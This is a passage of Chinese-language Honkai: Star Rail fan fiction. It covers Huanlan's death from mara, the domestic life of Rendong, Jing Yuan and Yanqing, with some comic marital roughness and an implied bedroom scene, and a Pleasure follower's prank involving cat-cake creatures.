她喃喃着,尽力到耗尽了所有体力,在冷汗滑落到眼里激起的刺痛中,那双暗淡的碧眼死死瞪着床上安稳下来的人,不敢眨眼。
忍冬掏出玉兆快速联系了白露,在交代完相关的症状和情况之后,就像寻求依靠一般,她第一次在景元上班时间联系了他。
视频……不行!只要在脑袋里一想到在玉兆上看见景元的脸,她就已忍不住想落下眼泪。
忍冬打了语音电话。
嘟嘟的连接声好像响了很久,但怔愣的眼神却一直盯着焕蓝,看她苍白干燥的脸,看不知道什么时候出现在耳朵与尾巴上的灰白色绒毛。在滴的一声接通声里,在听见景元熟悉的声音的一瞬间,强制止住的呜咽像冲破束缚的开水壶一样,呜呜大声起来。
“景元、景元呜呜呜……焕蓝、焕蓝出事了……”
忍冬已经记不得自己多久没有失态大哭过了,就像瞬间回到那颗黄沙弥漫的星球上,没有吃没有喝……也没有人。无助孤寂从每条骨头缝里,每个细胞中钻了出来,想淹没她……
“别哭、宝宝别哭,我很快就到!”
好多东西摔到地上的噼啪声,快速起身之后焦急的脚步声,嘈杂的人声……那么多声音里,只有那个急促喘息的焦急声让她依恋,也让她脱去坚硬的甲壳。
“景元我怕……”嘶哑闷声的嗓音颤抖着,语不成句地对着那边的人说着前言不搭后语的话。
景元一直在听着。
神策府在长乐天附近,他们居住的居民区却在金人巷周围,慌乱的景元跑到门口时,才后知后觉意识到自己想通过跑步快速回去的想法有多天真。
但今天恰好到神策府递交文件的驭空也闻声跑了出来,一见景元满脸慌乱急切听着玉兆的模样,她便知道,他们的目的地应是一样的。
驭空,白珩的后辈,焕蓝的学妹,由于曾经憧憬过天才飞行士的美名,专门找过白珩的事迹,找的人还是焕蓝……一来二去,她们也成为了朋友。
她也接到了焕蓝出事的消息。
“将军,上来!”驭空没有停歇,冲到了停在不远处的飞槎,景元抓着玉兆也跳了上去。门才关,飞槎就极速飞了出去。
作为曾经的飞行士,驭空很快用行动表示,她的技术尚未生疏。在连闯好几个红绿灯之后,他们到了金人巷。
在越过金人巷繁华热闹的街市之后,再往后走,便是罗浮典型的老居住区之一,这里,便是他们常住的地方。
砰!景元暴力推开焕蓝的家门,在闯入房间之后,他先是眼神快速搜寻定位了忍冬,接着,就跟驭空一道检查了焕蓝的身体状况。
“是魔阴身……”景元确认了。
确认之后,他立刻让驭空抱着焕蓝去乘飞槎,他带着忍冬随后就到。
“衔药龙女应该已经在准备了,你把她送过去就好。前期忍冬处理过了,白露看过之后会明白怎么做的。”景元快速解释着。
做完这一切,便立马转身揽抱住忍冬。在那双无神碧瞳的空洞中,他只能用力抱住她。
“没事,会没事的,我在……”
仙舟人一生中总有很多次这种突然的离别,模糊了的衰老以魔阴身的形式带走滞留在人间的生命。
无力的手腕回抱住他,细长的指骨在脱力之后又突然爆发了强烈的挣扎,死死抓住了景元后背的衣物,褶痕深长。就像突然离开带给每个仙舟人的伤痕,狰狞扭曲。
“焕蓝……她多少岁了?”忍冬嗓音低哑,带着浓浓的茫然,她抬头,迷茫注视着景元:“她还没到年纪,对吗?”
寻求认同的尾音寂静的落到地面,在景元一脸的黯然中,忍冬明白了。
“走吧,我得去守着焕蓝,她是我唯一……”说到这里,忍冬的声音一滞,想到了焕蓝强制给她找的朋友,平静下来的情绪又突然翻覆:“她、呜她、她是我唯一……唯二的朋友……”
后知后觉的醒悟让忍冬内心自幼破开的大洞扩张得更为巨大,黑洞洞的深处不断传来悔恨的声音:“明明、明明我能发现的……呜呜……为什么我没想到呢……”
“喵~喵?”那只被收养的虎斑蓝眼猫猫不知从哪个角落窜了出来,尾巴高高扬起
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,头不断左右蹭着矗立在童话小院内的两人腿脚。
一双清澈懵懂的蓝眼睛亮亮的,渴求着互动与投喂。
忍冬没有搭理它,景元也无心陪玩。
流着泪的忍冬轻拍景元的手臂,在他放开后,伸手试图擦掉眼泪。
但眼泪就像拥有悲伤的源泉,刚揩掉,便又从眼角眼尾滑落。
“我们走吧,该去看焕蓝了。”
她放弃了擦掉眼泪的做法,想着总会自己停下的,低下头看了看小猫:“得给它放点吃的在家,门也得关好……”
抽离情绪的瞬间,忍冬看一切就像雾里看花,水中望月,虽然眼泪还在流,但她已经开始条理有序的行动了。
景元眉眼深蹙,门齿轻啮着下唇,他……不知道该怎么办……
“走吧,我之后吩咐人来带冰果去外宿一段时间。”
取跟忍冬、踏雪一季,雪冰自冬生,果自花而来。冰果,是焕蓝对友人调侃的眷念,也是希望经冬亦有果的期待。
仙舟人啊……太长寿,也就经受更多,所以也懂得更多……
“白露,之后忍冬来了就拦着她吧。”
焕蓝被一贴药唤回了神智,但身体内部逐渐腐坏的感觉还是让她明白,自己,约莫是要离开了……
她躺在病床上,眼神温柔的看着泫然欲泣的白露,歉意笑了:“对不起哦~我很在意我那几百年的朋友。所以在做下那个决定的时候我就想,如果你发现我利用你了,我就道歉。但如果假设回到那时我还会不会这么做?我只能说,依旧会如此。”
“你约莫也接触到你的由来了,我最开始确实有点混淆,但你是你,白珩是白珩,我并没有把你们混为一谈。”
独自居住在一间钢铁病房里的焕蓝絮絮叨叨对着自己唯一的小医生如此坦白心绪,并一副理直气壮誓死不改的模样。
白露居然没什么怒气……
她很讨厌持明那些龙师,因为他们只看见了龙尊这个名号;也讨厌过一些了解内情的人的怀念眼神,因为他们只看见白珩这个名字。
她白露呢?好像、好像只有忍冬这个被关爱、被惦念的受益者看见了她。
所以,当发现焕蓝居然有意利用她的性子,为忍冬铺路后,白露既做不到怨恨她而跟忍冬绝交,也做不到对焕蓝恶语相向。
因为、因为……“你们是第一个没有带着恶念接近我的人……”
“我会拦住忍冬,但也会跟她说明是你的要求。我也原谅你,因为你就算初心只是为了忍冬,但你也确实给了我很多关怀,更别说忍冬是个很适合我的朋友。”
“你不欠我,我也不欠你。”
白露虽还小,但持明族那种腐朽又势力横杂的地方,总不会真的养出一个天真的小姑娘。
她热情开朗,但她不天真。
“所以你好好治病,能活活,不能就安心走。我会跟忍冬继续向前的,我们都不是会郁于原地的人,你明白的。”
在白露离开后,疲软躺着的焕蓝怔愣看着头顶雪白到毫无瑕疵的墙顶,看着明亮到刺目的吊灯。
她说:“我明白啊……”
“正因为明白,所以我不能让我的朋友带着我的一份继续往内心加码,然后在某天如我一般溃然而止啊……”
“对仙舟人来说,悔恨和孤单是很痛的……”
20. 游医
大多人的成长向来跟失去无法撇清,忍冬也不例外。
在一无所有到拥有再到失去之间,她走了很长时间。
总以为、总以为……那有那么多的你以为?!
人生,突出的就一个突如其来!
忍冬没有见到焕蓝最后一面,她听话,也乖,所以她只是在十王司的判官把焕蓝送走的时候劫了一下道,橇了一下棺。
尽管景元带着人就站在不远处守着,尽管十王司的判官也平静看着她的动作,尽管白露这个乖孩子也赞同了她的动作并跟她一起行动了……
丹鼎司门口那片大广场上,冷眼的、静默的、旁观的……好多眼神盯着她。
忍冬是个宅,不喜人、不喜社交的宅,她讨厌他人的眼神!
但在这个时候,她却忽视了他们,只是眼神空茫的看着棺木……跟棺木里那个脸色苍白,平静闭目的狐人。
焕蓝是很开朗的性子,她很常笑,眼尾和两颊都留下了常年的笑痕;情绪总是激昂,导致狐耳总是高竖而立;很爱惜头发跟皮毛,所以总是保养得油光水滑……
但棺木里的狐人……神色安详到冷漠,脸上没有笑痕,狐耳平静挺立,皮毛一片雪白……
这是……“焕蓝?”
飘渺的呼唤没有换回任何回应,渐渐沉落的眉眼带着哀伤。
这是焕蓝,那个鬼灵精的学宫八卦头子、战场前线的荣誉飞行士、玉兆小说网的创始人之一……那么多那么多的外加身名,但她本质上依旧是那天学宫中懒散躲在角落的狐人。
她其实没有很伤心,对吧?姥姥走的时候也只是落了几滴眼泪,她不在意死亡的离别的,对吧?
忍冬轻轻触碰了狐人苍白冰凉的脸颊,仍旧柔软有弹性,但这已经不代表生机了,是异变的前兆。
如果放任不管,有一天这些柔软依旧有弹性的血肉,会变成青枝玉叶生长的温床,然后,愈久的撕裂痛苦会冲刷掉人世的理智、记忆。这幅躯壳,将变成一个跟焕蓝有着相同样貌的……他人。
“再见……”
*
随着兵戈渐消,罗浮的热闹逐渐沸腾,来往的星际种族数不胜数,繁多无尽,也滋生了很多街头巷角隐秘的小摊位。
来者矮小的身高与头顶的绒球都向摊主表明,这是一个皮皮西人。
他略带猥琐的左右打量着路过的人,头压得极低,几乎要贴上摊主身前的桌面,悄声询问:“哎呀!摊主啊!你就告诉我怎么获得更长的寿命吧!你医术那般厉害,一定知道些什么。我可是还有很多大事没干,不能轻易死去的!”
摊主脸上噙着笑,意味深长的注视着这位祈求不能就开始气急败坏威胁起来的顾客,食指不紧不慢地轻敲着手中的瓷杯,浅浅叹气:“又一个吗……”
不等话音落地,远远的就传来了云骑骁卫整齐急促的步伐声和警告:“那边的皮皮西人!你违反了仙舟禁令!请站在原地等待调查!”
皮皮西人眼神瞬间怨恨起来,手中不知从何抽出了一把锐利的小刀,对着面前的摊主刺去:“你个贱人,敬酒不吃吃罚酒!”
忍冬脚尖轻踢,身后的竹椅受力往后一歪,避过了刺面的小刀。而从云骑骁卫前首一个男孩手中快速飞出的飞剑则以剑身拍开了皮皮西人。
十五、六岁样貌的男孩带着人快步过来,在身后的云骑见怪不怪按住犯人时,一脸焦急的凑到了摊主面前,眼神慌乱打量着面前人:“师娘!你没事吧?!”
忍冬满脸无奈,用手中的青瓷茶杯抵住凑得太近的男孩,忍不住轻敲了他的额头一下:“你啊~怎么多少次都不长记性?你师娘我是能被人随意欺负的吗?”
虽然额头不疼,但彦卿还是故作委屈的捂住了额头,可怜巴巴的望着忍冬:“师娘~”
忍冬没有把刚才的这出危机放在心上,毕竟就算再出乎预料,出乎了十几次,这预料也能预料得到了。
她轻瞥了一眼站在自己面前故作委屈的孩子,慢悠悠啜饮了一口杯中由某人上好的茶叶泡出的清冽茶水,调笑着问这位无事不登三宝殿的调皮孩子:“怎么?又输了?还是又看上了哪把宝剑,把钱包亏空了?”
“额……这、这次是彦卿大意了!下次绝对可以战胜将军!至于宝剑嘛……也确实看上了一把……”
彦卿少年是罗浮闻名的天才剑士,意气风发,早早就加入了云骑骁卫,成为了景元的侍卫,立下了许多闻名战功。
但这是在外人面前。
当他记事起,他就跟师父师娘住在了一起。师父忙碌,但偶有闲暇都会抽出时间指导彦卿;师娘懒散,但也日日照看好他的日常生活。
除了没有血缘外,彦卿跟师父师娘已经是默契的一家人了。
所以当他钱包里的巡镝被砸在一把把搬回家的宝剑上时,他就会自然而然的在下职时去找师娘,并在不消一会儿之后,见到自然而然甩下神策府那些驳杂事务的师父。
预测快到饭点了,某只时日渐长也渐疏懒的人也要翘掉事务跑过来了。忍冬赶忙给彦卿塞了一袋子的巡镝,不知第几次细细嘱咐他要小心使用,起码给自己留点零花。
在彦卿一脸感动的表情中,忍冬神色却很冷漠。
这孩子算得上是她跟景元一起带大的,他在应对她时的花花肠子,不用扳扯,她都能看出来。说得再好听,表现得再感动,下次绝对又会刷新到她面前!
念了一会儿,忍冬实在不想无限循环下去了,她伸手又给了彦卿一个爆栗,说:“我说的,你哪回听过?都是左耳进右耳出!算了,不与你说这些,上梁不正下梁歪!都是景元的问题!”
想到自己荷包内沉重的巡镝,忍冬脸色怨怒了几分。
本来忍冬就继承了姥姥留给她的遗产,加上她不爱外出那些年在网上写的小说赚的钱,还有断断续续的一些诊金,她已经是个不用为钱顾虑的人了。
但在某人的工资卡不知什么时候落到她的手上之后,一切瞬间剧变。
管钱!给钱!不知道为什么那么不开心!
更别说在彦卿来到他们家之后,孩子哪儿哪儿都需要钱,但又不能让他养成挥霍的习惯。加上景元的茶叶、字画等爱好,忍冬感觉,尽管事实并没有到如此地步,他们家迟早得破产去四处流浪!
“啊哈哈……”彦卿快速收起钱袋子,一脸心虚摸着头,弱唧唧询问忍冬:“师娘,我们今天吃什么啊?”
忍冬叹气,随手揉了揉他的脑袋,打发走了跟着彦卿过来的云骑,平复心绪坐下,指了指金人巷的那些食品小摊:“我都出摊了,当然只能吃周围的小吃了。去买吧,过会儿约莫景元就过来了。”
“好的!”彦卿精神奕奕站直捶胸,转身就往几家常顾的店家走去。
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忍冬看着他四处窜动,眼睛一转,就看见了慢悠悠踱步过来的景元,跟四周的人一脸笑容打着招呼。
再一转,在另一个方向看见了一辆民用飞槎。上面涌下的人里,大名鼎鼎的衔药龙女白露也看见了她,走了过来。
不用卜算,忍冬就已经能预料到接下来会出场的几位来宾。
来抓景元翘班的太卜司太卜符玄,一定被强制要求跟随的青雀;知道她出摊会请假光顾的十王司判官寒鸦和雪衣,还有因为害怕不想独自留下执勤而一起跟过来的小狐狸霍霍……
真热闹啊……
“真热闹啊……”景元直接走到她身旁,抱住她,把头搭在了她肩头,看着已经全部出场且向这边聚集的人,带着怨念悠悠叹道。
敷衍伸手回抱了一下,忍冬就伸手抵着他的胸口推开了他。在射过来的挪揄视线中,忍冬平静的理了理景元遮住了一只眼睛的碎发,拨开,对那双温柔注视她的眼睛说:“回去理理吧。”
景元低头,用额角轻蹭了蹭她的额头,温声回应:“好~”
“噫!将军还是这副样子!半点都不为忍冬老板考虑!”这是对景元的将军之位虎视眈眈的符玄对身后强制拖来的青雀说的话。
“太卜大人,不要带着私欲打抱不平啊……咱又不是不清楚您的心思。”青雀无语吐槽。
寒鸦拉住欲向前的雪衣,带着点踌躇对她姐姐说:“姐姐,我们还是过会儿再来吧……”
“为何?”雪衣不解的歪头,看了一眼她们此行请假的目标,静等着面前的妹妹给自己一个答案。
寒鸦沉默了,面对姐姐那张纯然的脸,她不知该不该向她表述清楚。她转头,看向了身后瑟缩跟着的霍霍。
霍霍眼神期待的看着那边的忍冬,但在对上景元含笑扫过的眼神时,她眨巴着眼乖乖站着没有上前。
等到接到寒鸦大人的眼神,她立刻慌忙向雪衣大人含糊解释了起来:“就、就是忍冬姐姐在跟将军相处,我、我们不好去打搅的……”
“嗯……为何?”雪衣歪头,感觉疑惑更多了。
啊……霍霍求助的看向寒鸦,寒鸦头疼了起来。
怎么说呢……姐姐虽不是不懂男女情爱,但她懂跟她能看出来,这是两回事啊……她该怎么解释呢……
不相干的人在景元的眼神下都退缩了,最后走到忍冬跟前的,只有买完小吃一同过来的彦卿跟白露了。
“师娘~我买好了~”/“忍冬~我来蹭饭了!”彦卿跟白露异口同声说。
忍冬笑着对站在不远处不上前的几人点了点头,指了指自己简陋的小摊,眼神对视间,双方都明白了接下来该做什么。
景元接过彦卿手中的吃食,了然瞟了一眼他鼓囊起来的钱袋。在彦卿心虚的眼神中,无奈摸了摸他的头:“你啊~”
白露看见那边,也强烈要求忍冬摸头。忍冬瞪了景元一眼,为了防止接下来可能会发生的争执,她一股气挨个摸了所有人的头。
当摸到最高个的景元时,在他笑眯眯的眼神中,忍冬忍不住狠拍了一下头顶,压低声音说:“你收敛一点!我不想再被八卦小报登上去了!”
“为何?在下做错了什么吗?忍冬要抛下我了?”
面对景元那双死性不改,坏心眼蕴含的笑眼,忍冬气鼓鼓的宣布:“吃饭!别逼逼!我不听!”
21. 恶名
“嗯……从诊断结果来看,雪衣姐姐没什么大问题,但还是要注意劳逸结合。”白露观察询问完雪衣的身体状况,一脸殷切的嘱托道。
“寒鸦小姐精神较之前有好转,但请不要放松警惕,药不能停。”忍冬收回指尖的绿光,也这般嘱托寒鸦。
两姐妹得到好转的结果都松了口气,给付了诊费之后,带着殷殷期盼的霍霍回了十王司。
而符玄,也顺心顺意带回了逃班的景元,给想逃班的青雀放了一会儿风。
“师娘,我也得回去训练了。”彦卿对忍冬告别。
风风火火来,风风火火去,忍冬热闹的摊位在下午又回归了冷清,只有留下的白露陪伴着她。
忍冬低头问靠在膝盖上的白露:“不用回去吗?”
“唔……不用,伏娆在丹鼎司也可以当一份子,我就留在这里陪你吧~”白露就跟以前一样,十几年过去身形不变,宛如初见一般躺在忍冬的膝头,眯着眼望着头顶遮挡的伞棚,开心的说。
“好吧,收摊了请你吃饭。”悠悠轻叹溢出唇舌,指腹轻揉着白露的头发,忍冬也眯眼假寐了起来。
……
“要过去吗?”
“不、不了吧……那个恶女在那儿啊……”
“可衔药龙女也在那儿。”
窃窃私语、暗中打量,白露没有这根神经,但忍冬能很清晰的感受到四下射到她身上的视线。
恶女……也是从焕蓝那时就流传开来的恶名。眯着眼只虚虚摄入一点光影,大脑回忆起了焕蓝离开之后又发生的事。
因为景元那时处理的例外,仙舟内部的“不知名敌人”抓住了她的存在。所以,理所当然的,为了阻止景元声望的壮大,她成为了那时气焰正嚣的神策将军唯一的污点,一个厄运缠身、无脑冲动的女人。
虽然在被煽动的罗浮无脑“群众”试图攻击她时,她狠狠给了当场的所有人一鞭子,包括但不限于之后匆匆赶来的景元。红肿、刺痛,从伤口中飘出幽幽紫雾,横贯在每个人惊恐的脸上。啊……这倒不包括景元了。
面对他苦笑带着鞭痕的脸,忍冬幽幽叹气,指着拦在她面前的一堆气愤填膺的“群众”,问景元:“怎么?焕蓝刚走,你就打算来个不认糟糠妻?”
“虽然我明艳美丽,跟糟糠两字扯不上关系,但景元,你很勇嘛~”
说完,面目狰狞起来的忍冬一鞭子抽飞了试图过来拦住她的云骑,扯住景元下意识转身逃跑飞扬在身后的长发,用力一扯,把人扯过来后,手指根本没什么顾虑就拧上了他的耳朵,咆哮道:“别以为我名声坏了我就能放过你!我又不是仙舟本土人,老娘不吃这套!”
吼完他,她双眼一瞪,扭头瞪着身后呆滞又浓妆艳抹的“群众”,恶虎咆啸:“谁敢在老娘不允许的情况下接触这家伙,老娘宰了她全家!”
“你应是不应?!”被扯得通红的双耳带给景元灼热的痛,他脸上也瑟缩跟惧怕齐显。但内心里,却有灿烂的阳光开始照耀,连那双低声下气的金眸,那时也是光彩熠熠,明亮非凡的看着愤怒到面容狰狞的忍冬。
“景元应~当应~景元的一切都是夫人说了算~”
就那一鞭子跟那场大众家暴,忍冬荣登仙舟恶女之名,并在惧怕中收获了尊敬跟敬佩。
而景元嘛……除了这些年的“闭目将军”,最让人关注的,果然还是他惧内的名声吧……
但就算如此,那家伙的桃花依旧开得艳丽、开的灿烂!
三个青涩的女孩子鬼鬼祟祟接近忍冬的摊子,但在将要踏入三丈以内时,却又瑟缩的收回了脚,只站在不远处瞪着眯眼的忍冬。
那眼神啊,不忿又生气,是只能在仙舟年轻人身上看见的明艳情绪。但也是忍冬时不时就要处理的繁琐之事。
“有屁快放。”忍冬闭着眼,声音虽平静但实在是不客气。
只这一句连情绪都还没带上的话,那三个女孩却像直面猛虎一般,泪花唰啦就出来了,转身踉跄还不忘对忍冬嘶吼:“我、我们是不会放弃的!你个恶女!有什么资格霸占将军大人!”
忍冬睁眼,看见膝上的白露也无语的睁开了眼睛,问她:“她们怎么还没厌烦啊?”
忍冬哼笑说:“因为唐僧肉谁都想吃。”
傍晚,在下职就殷勤跑过来的师徒帮助下,诊摊很快就收拾好了。
忍冬本想带白露回家吃顿饭,但伏娆却在这时带着龙师的吩咐来提人了。
对于那种嚣张跋扈也确实有地位的人,忍冬很无奈对不想离开的白露表示,伦家干不掉啊~
“臭忍冬!见死不救!下次我不陪你出摊了,下下次再陪!还违诺不遵,我得到的好吃的下次也不分你了!!”白露拉着伏娆的手离开时,这么声嘶力竭的对忍冬大喊。
忍冬无所谓的对白露离开的方向挥手,确定白露看过来了,就绽开了一脸笑意。对比着一脸悲愤的白露,忍冬的损友定位越加清晰。
而景元跟彦卿,也跟着忍冬挥手,笑看着这两人的笑闹。
这笑,延续了晚饭的整个时段。
但当一回房,忍冬的笑脸就拉了下来,阴飕飕的眼刀刮过景元的每一寸肌肤。
景元叹气,无奈的对忍冬问:“这次又要干什么?”
“脱!”掷地有声。
确定彦卿已经睡下,他们这次睡的是忍冬小院的房间,声响不会影响到任何人之后,景元乖乖的开始自己扒衣服。
染上体温的温热布料脱离□□,间隔涌入的微凉空气抚过肌肤,激起一颗颗小颗粒。
景元在紧盯着他的视线中,恍惚回想起了每次被置于这种扫视下的颤栗感,冰冷、剖析、一种要被生吞活剥的直视……全是那些见色起意的没脑子女孩带来的。
想到这些,就会回想起之后发生的。
每次不同的要求、不同的感官,都带来跟他第一次时一模一样的失控与狂乱。光是回想,眼尾就已经带上了一抹猩红。
“干什么呢?快点!”啪,是后腰被拍击的声音,带来一瞬身体的紧绷。
景元加快了动作,但莹润也侵占了他的眼睛。
忍冬伸手掐着他的下颌,扯脸,凑到他的眼前,轻笑着说:“怎么还是这么敏感啊?
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都几次了?”
第一次,景元垂下了眼睫,挡住了自己无措的视线;第二次,景元轻掀了一点,盯着面前随着说话开合的红润唇瓣;第三次、第四次……
他一点点习惯了,并在这次,双眼直直的向面前人展露了自己的渴望:“唔……因为乖~你才会允许我之后的放肆。”
“所以回回都这般勾起我的欺凌欲,然后反把我欺凌?”忍冬白皙的指尖揉蹭着景元的唇瓣,感受到扑到掌心的灼热又潮湿的热气,像在跟一只大型猛兽隔着笼相处。
她说:“夫君~你可真是个黑心肝的虚伪派啊~”
“夫人,为夫还有一张让夫人感兴趣的脸呐~这个可别忘了。”
就跟指令一般,囚笼的钥匙被主人丢给了猛兽。破笼而出的猛兽笑吟吟的把关押自己的主人也压入了自己的囚笼,面庞除了那双颊艳丽的红晕和眼尾的猩红,再难见之前那般的弱气。
“长夜漫漫~景元可得与夫人小心珍惜啊~”
银白幽黑交缠,昏暗的环境中,粗喘求饶交叠不止。
天,亮了……
步伐矫健的男性解开缠绕在房间门上的黑铁锁链,在金属清脆的响声中,遗留在床榻上的女性只是慢悠悠翻过了身,顺便扯被子蒙住了头。
男人收起锁链,回头见此轻笑了一声,轻步走过,慢慢拉下了她头上的被子。
唇瓣红艳欲滴,眼尾留着一道清晰的泪痕,发丝凌乱铺盖在白色的枕头上,黑白相印,色俞黑,唇俞艳。而被下,不用看,他都知道,红白相应,最是可怜。
“我走了,中午给你带吃的。”他轻声说。
女性眉眼轻动,没有睁开,只是从被中蠕动着探出了一只手臂,确是几道红色咬痕交印在雪白的胳膊上,挥了挥,赶人之意明显。
一步三探,男人走出了房间。
“将军……怎么这么早……”呼呼大睡却被强制拉扯起床的彦卿眼都睁不开,正被景元抱着靠在肩上走向演武场。但他半睡半醒间,却嗅到了师娘身上的清苦药材气息,大约是错觉吧……明明抱着他的是师父来着……
倦意困顿的少年只是脑中想了一瞬,很快抛之脑后。
把家里会去吵闹忍冬的彦卿送到演武场后,景元一脸如常的坐到了自己的位置上,在来来往往隐晦打量的视线中,他一脸平静的处理起了积压的事务。
而在神策府守卫的云骑、来往申报的官员,则是在忙完自己手中的事后,又不约而同聚集到了一起,窃窃私语起来。
“将军真惨啊……这次可是在眼尾都留下了抓痕……”
“能有我们惨?我们连女朋友都找不到!”
“你们一个个的,怎么都爱盯着将军的家事看?将军又不是无力反抗,他自愿的啊!”
……
来来去去,翻来覆去,罗浮神策将军,帝弓七天将之一的景元将军又被家暴的消息就这般又传了出去,惧内名声更显。
而忍冬的恶女之名,也继续在仙舟上流传着。
真是,红颜祸水啊……
红颜是景元将军,祸水嘛……
22. 欢愉!欢愉!
长乐天的旅馆区域附近,蜿蜒向深处的小巷口中,隐隐绰绰传来了模糊的清凌女声跟一道带着调笑的女声的对话。
“你真的要把这些小家伙送给我吗?”
“实验失败的产物,若不是看你对它们感兴趣,它们的归宿只能是被销毁。”
“哦?那我可真的接手了~嘻嘻~放心~不会被抓住的~”
……
“自从【开拓】陨落之后,仙舟上只能见到一些跟公司有联系的星宇种族吧?这几年是怎么回事?怎么智械、皮皮西人……哦,看,那是天环族吧?这些种族出现在罗浮上好像频繁了起来啊……”
忍冬摇着蒲扇,脸上带着墨镜,在灿烂热闹的星槎海中枢的【不夜侯】,耳边听着西衍先生的说书,嘴中品着这里的奶茶。
作为人生已过半的仙舟人,忍冬已经逐渐开始疲懒,并,重拾起了学宫时那种看热闹的心态。
在根本没听清的说书声中,她注意的却是不远处桥边拉拉扯扯的年轻男女,因为想找事闹起来的化外民跟小摊贩的争吵。
一个是老套的感情纠葛,一个是化外民在仙舟经常上演的典型探寻长生秘密的行动,都不是什么新鲜剧目。
“哎哟!”
就在忍冬兴致缺缺偷听着,被杯中的茶乳勾住注意力时,一道矫揉造作的呼喊突然向着她的方向扑了过来,随之而来的,还有一种急切催促她躲避的直觉。
在意识反应过来之前,身体本能已经带着她躲开了这个故意扑过来的人,以及随着这个人倾向她的茶水。
椅子随着她的动作被带翻,劈里啪啦声中,她皱着眉,眼神不善的望向这个不善来者,但仅一打眼,心里预先做出的判断便已推翻。
……是个不认识的人。
“还以为又是那些小姑娘……”她嘀咕出声,眼里的不善收敛了几分。
这当然是个姑娘,但并非忍冬口中的小姑娘。
那些会以各种笨拙手段“袭击”她的小姑娘们,是罗浮上听闻景元名声生长起来,又恰好赶上青春期的思春潮,对她颇有敌意的孩子。
但孩子,忍冬就更要计较了。
不过……眼前这个面容陌生,但眼里却毫不掩饰看好戏的做派……
“钟珊,你很闲?”
忍冬认出来了。
这是个她知道姓名,不知道样貌的损人,跟她相识,仅仅因为乐趣。
……以忍冬为乐趣。
“哎呀~小姐您说什么呢?莫不是看奴家不小心摔向您,您便要这般给奴家安个罪名?奴家伤~心~啊~”
看起来是仙舟样貌和服饰的女子故作委屈,以袖掩面,楚楚可怜的一双泪眼,朦胧的望着她。
忍冬还没回应,针刺一般的视线便从周围射了过来,隐隐含有谴责和看好戏的做派。
真的很讨厌啊,这个假面愚者跟周围的蠢货……
忍冬伸指按下墨镜,眼神冷厉的向那些视线方向瞪了回去。在威慑过后,她挑眉看向面前的女子,慢条斯理的说:“哦?你这做派,难不成还是我先招惹你的?做错事便道歉,看来小姐没有这种家教呢。”
虽然不知道这厮又犯什么毛病,但绝对不能让锅砸到她头上!
她第一次被戏弄,以为是偶然;第二次被戏弄,自认是倒霉;但第三次、第四次……这数不清多少次中出现在她面前的这些面貌不同,但感觉熟悉的过错方,让她后知后觉认识到,自己被某人耍了……
寰宇中,与这种做派最贴合的,只有酒馆那群乐子人了!
所以,她试图攻击,被群众举报抓到地衡司;她张口辩驳,但由于没有对面人拉得下脸,被怀疑蛇蝎心肠;她试图躲避,但总被精准找到……后来的后来,她不试图反抗了,她直接找景元举报了这家伙!才终于在罗浮情报网的铺陈下,得到了一点点相关信息。
钟珊,欢愉信徒,不知什么时候潜伏上了罗浮。其他的?一概不知。
而就算景元预防了,忍冬还是时不时撞到这位钟珊小姐手中。尽管已经不会戏耍她了,但好像也不打算放过她的样子。
“奴家自小失去双亲,确实……没什么家教……”说着,神色中落寞之意甚浓,给忍冬招来的谴责视线也更多了。
身体中的血液涌上了大脑,额角青筋噗噗跳动着,她努力压制着自己上涌的怒气,告诉自己平心静气、平心静气,不能让这人看到能逗弄起她的情绪。
但说出口的话中,一丝低沉显而易见:“那我不介意充一充小姐的长辈,毕竟也算得上百年之寿,给小姐一点指教也是使得的。”
“真的吗?”眼睛没有卡顿转换成晶亮风,双手合十,期待的看着她。
……眼角的泪花依旧在闪烁呢。
变化太快,在忍冬黑沉沉的脸蛋上,周围的人总算反应过来了。
但……只是把投向她的视线变成可怜吗?!
她可是疑似被碰瓷诈骗啊!都没人想到给她通知一下云骑或者通知地衡司吗?!
“以后混不下去了,卖保险或者保健品好像很有赚头呢……只要小心一点……”忍冬低语了一句,深深叹气,捞起钟珊的手就直接拉着人离开了这里。
星槎海啊,太热闹了,继续下去,很快就会变成面目全非的流言了呢……她恶女的名声不需要这些垒垫。
“你又来干嘛?”忍冬在一条死巷中放了手,面色极度不善的质问笑嘻嘻的钟珊。
“嗯……Surprise!”她眉眼弯弯,在忍冬稍显聆听时,突然手一挥,一个包装华丽的大号礼盒突然出现,又突兀炸开。
随着礼花的啪啪声,一群喵喵叫的大号糕点扑到了忍冬的身上,直把她给压倒了。
“什、什么?!”
“这些小家伙就送给你了~记得照顾好它们哦,我会时不时回来看看的~”
说完,钟珊也像礼花一般,砰的炸成了漫天飞散的彩片和特效星星。
“钟珊!!!你给我回来!!!”忍冬怒号,但很快,露出的头也被这些不明似猫的小生物压住了,声音,断掉了。
景元,救命啊……
“欸~好乖好乖~”景元头上顶着一只猫糕,肩头趴着一只猫糕,怀里还抱着一只猫糕,一副沉迷的猫奴模样。
忍冬死鱼眼瞪着他,喊:“彦卿!”
护卫着景元的彦卿闻言,立刻上前,在景元不舍的神态中,利落的抢回了这些喵喵叫的小生物,并给了景元一个抱歉的眼神。
“师娘,给。”
接过彦卿抢过来的三只猫糕,她也如同景元一般,手不断的逗弄着这些孩子,问景元:“其他的你打算怎么处理?”
“咳!钟珊送过来的,也不能随意处理了。但这么多,既无
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法送给无关人员,也不能放任不管,那……黑塔?”
“可以,是个好去处。”忍冬低头看着这些杂糅了猫咪跟仙舟糕点特点的小生物,若有所思:“这种手笔……寰宇中只有天才俱乐部那群人才做得到吧。其中,好像有某位特别擅长这方面的啊,叫什么来着?居然半点没有印象……”
“钟珊她打算做什么呢?”
……
“当然是给黑塔小姐一点点小惊喜了~她跟你可是好友吧~朋友,不联系可是会生疏的~就让我来为你们创造话题吧~”
“记得,高兴之后,可得大喊‘阿哈’啊~那位乐子神会很感动的,毕竟友谊~多美好的词啊~”
……
黑塔空间站对于仙舟的这次慷慨十分感兴趣,毕竟就算黑塔女士斥其为失败之作,但实在掩不住这些被称为猫糕的小生物是那位天才的造物啊……
庸人对天才的一切总是充满探寻,就算只是随手的失败。
但随着猫糕的涌入,空间站中为未来某位主角的登场也准备好了人物。
但首先,黑塔得先找到一位代理人。
照顾其他人、这些小生物和琐碎事,这一切都太浪费天才的大脑了,黑塔也不想花时间去解答那些因猫糕萌发思考的研究员的拐弯抹角询问。
所以,“去哪儿找到一位钱多又聪明的人来当空间站的管家呢?”
在黑塔思索时,随着猫糕潜藏而至的某位乐子人的礼物也开始发挥了效用。
“黑塔小姐!空间站里出现了【繁育】的虫子!还涌出了很多虚卒!!”
